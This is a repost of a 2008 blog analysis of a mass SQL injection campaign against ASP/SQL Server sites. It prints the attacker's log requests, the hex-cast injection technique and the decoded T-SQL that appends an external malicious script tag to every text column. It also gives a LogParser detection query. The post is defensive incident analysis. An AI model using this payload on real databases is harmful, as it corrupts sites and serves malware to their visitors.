[security-alerts] FYI: last mass SQL injection

["Kazennov, Vladimir" <Vladimir.Kazennov@xxxxxxxxxx>]

http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx

Anatomy of a SQL Injection Incident, Part 2: Meat

Intro

It would appear that the incident I wrote about yesterday is still ongoing.  
I've been using a search engine to query for the *.js file that's being 
injected and it looks something like this:

    Wednesday: 10K hits (This is Avert's number.  I didn't look until Thu.)
    Thursday: 12.1K hits
    Friday: 12.9K hits
    Saturday: 14K hits

It's not the most scientific measure but it does show a pretty steady 
progression.  The earliest incident that I'm aware of was around 2008-03-01 
(depending on where you are in the world) so that's a rate of about a thousand 
hosts a day, give or take.

Hensing took me to task, privately, for my last post on this because it wasn't 
very detailed.  Fair enough, let's see if we can flesh this out.

Analysis of an Incident

One interesting thing is that the attack appears to do different things 
depending on the responses it gets to various queries.  I've seen three 
successful incidents and, while they are all similar, it's clear that the 
script is doing different things depending on the responses it gets.  In all 
four cases, the first thing that happens is:

    2008-03-08 13:37:12 /dir1/archive.asp 
id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0 202.101.*.* HTTP/1.1 
Internet+Explorer+6.0 - - 200 0 17115 1171

    2008-03-08 13:37:13 /dir1/archive.asp 
id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%27=%27 202.101.*.* 
HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 562

The id=... portion of that log is the cs-uri-query portion of the log.  If you 
were to hit this in the browser, the URL would look like this:

    
http://www.someserver.com/dir1/archive.asp?id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0

These lines are double-encoded -- the first set of encoded characters, which 
would be translated by IIS, are denoted by %XX.  For example, %20 is a space.  
The second set aren't meant to be translated until they get to the SQL Server 
and they use the char(xxx) function in SQL.  If we unencode both of those 
lines, we get this:

    id=z ANd |user|=0
    id=z ANd |user|=0 and ''='

The next query is a lot of fun:

    2008-03-08 13:37:13 /dir1/archive.asp 
id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27|33|80040e07|Syntax_error_converting_the_nvarchar_value_'|IUSR_Server|'_to_a_column_of_data_type_int.
 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 500 0 292 390

This time, it reads:

    id=z ANd |user|=0 and '%'='

This time, the attacker has hit the right combination to return a very 
informative error message -- he now knows the user ("IUSR_Server") that the web 
application is running as.  In this particular instance, the attacker is happy 
with this information and proceeds to deliver the payload.  In another instance 
I looked at, the attacker used one extra query with the IS_SRVROLEMEMBER T-SQL 
function to see if the user was a sysadmin.

So, finally, the attacker is delivering the payload.  I've truncated these for 
readability:

    2008-03-08 13:37:15 /dir1/archive.asp 
id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--
 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 17139 
1421

    2008-03-08 13:37:25 /dir1/archive.asp 
id=z';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);--
 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 0 10234

This looks a little complicated but, if we remove the encoding, we get this:

    DECLARE @S NVARCHAR(4000);
    SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));
    EXEC(@S);--

So, here's what this little bit of T-SQL is doing:

   1. Declaring a variable, S, as an NVARCHAR.  For those of us who don't speak 
T-SQL natively, think of this as a string.
   2. Taking a long hex value (I took out a few hundred characters where the 
... is there) that is really a Unicode string(1) and casting it as NVARCHAR.  
In other words, we're taking this hex representation of a string and turning it 
into a real string.
   3. Once that's done, we execute that string as a T-SQL statement.

So, of course, the next question is "What is that string?"  Here it is, with a 
bit of sanitization:

    DECLARE @T varchar(255),@C varchar(255)
    DECLARE Table_Cursor CURSOR FOR
    select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and 
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
    OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0) BEGIN
    exec('update ['+@T+'] set 
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script 
src=http://www.211796*.net/f****p.js></script>''')
    FETCH NEXT FROM  Table_Cursor INTO @T,@C
    END
    CLOSE Table_Cursor
    DEALLOCATE Table_Cursor

This one is a little more complicated but it does something like this:

   1. Declare a few variables that are used later.
   2. Do a SQL query on the sysobjects and syscolumns tables.  This is some 
serious mojo as these tables contain a list of ALL the tables and ALL the 
columns in the database.  What this query is looking for is every column in the 
entire database with a type that contains strings.
   3. Now, we're going to loop through all of those columns and, in every one 
of them...
   4. ...we're going to append the <script>...</script> text.
   5. Finally, clean up and we're done.

Now that this has run, every bit of text in your database has this malicious 
script tag appended to it.  If you're using that database to contain text/HTML 
that you're going to insert into your webpages and display to your users, you 
are now serving up a malicious script to every one of your trusting customers.

Check Yourself

If you've got a website that uses a database as a backend, you should now be a 
little concerned.  Here are some ideas on what to look for.

So far, the only affected platform that I'm aware of is ASP pages with 
Microsoft SQL Server as a backend.  That doesn't mean that some miscreants 
won't move on to ASP.Net or PHP or something else -- the attack should be easy 
enough to move to other platforms.  It just means that, so far, ASP pages are 
all that I've seen affected.

If you fit into that category, then you'll be wanting to review your IIS logs 
for anything suspicious.  LogParser is, hands down, my favorite tool for this 
sort of work.  If you download it, you should be able to do a query like this 
on your IIS logs:

    LogParser -i:iisw3c -o:csv "SELECT * INTO suspicious.csv FROM ex*.log WHERE 
cs-uri-query LIKE '%CAST(%'"

This is go through all the IIS logs in the directory and search them for lines 
where the query string contains "CAST(" and output those lines into 
suspicious.csv.  Since "CAST(" should be a pretty unusual string in 
cs-uri-query, if you have any hits here, it's worth investigating further(2).

If you are affected, then this isn't going to be an easy incident to recover 
from.  My own suggestion would be to pull your website down until you can 
figure out what's going on -- you're still vulnerable AND you're serving up 
attacks to every user who comes to your site.  That's not going to impress 
anybody.

The first order of business would be to figure out where you're vulnerable and 
how vulnerable you are.  That's really beyond the scope of what I'm going to 
hammer out today but I'd suggest starting with a copy of Writing Secure Code 
and going from there.

 Edit: I forgot to mention that this is also a good time to review the 
privileges that your web app has in SQL.  It definitely shouldn't need to be 
sysadmin!

Footnotes

(1) It's a fair bet that any time you see a hex string where every other byte 
is 0x00, it's text from a Western language encoded in Unicode.

(2) Obligatory plug for my team -- Microsoft provides no-charge support for any 
security incident.  If you believe you've been affected by this,  you can call 
us for assistance.  This page has all the appropriate details for the US and 
Canada and there are links from there to every other region.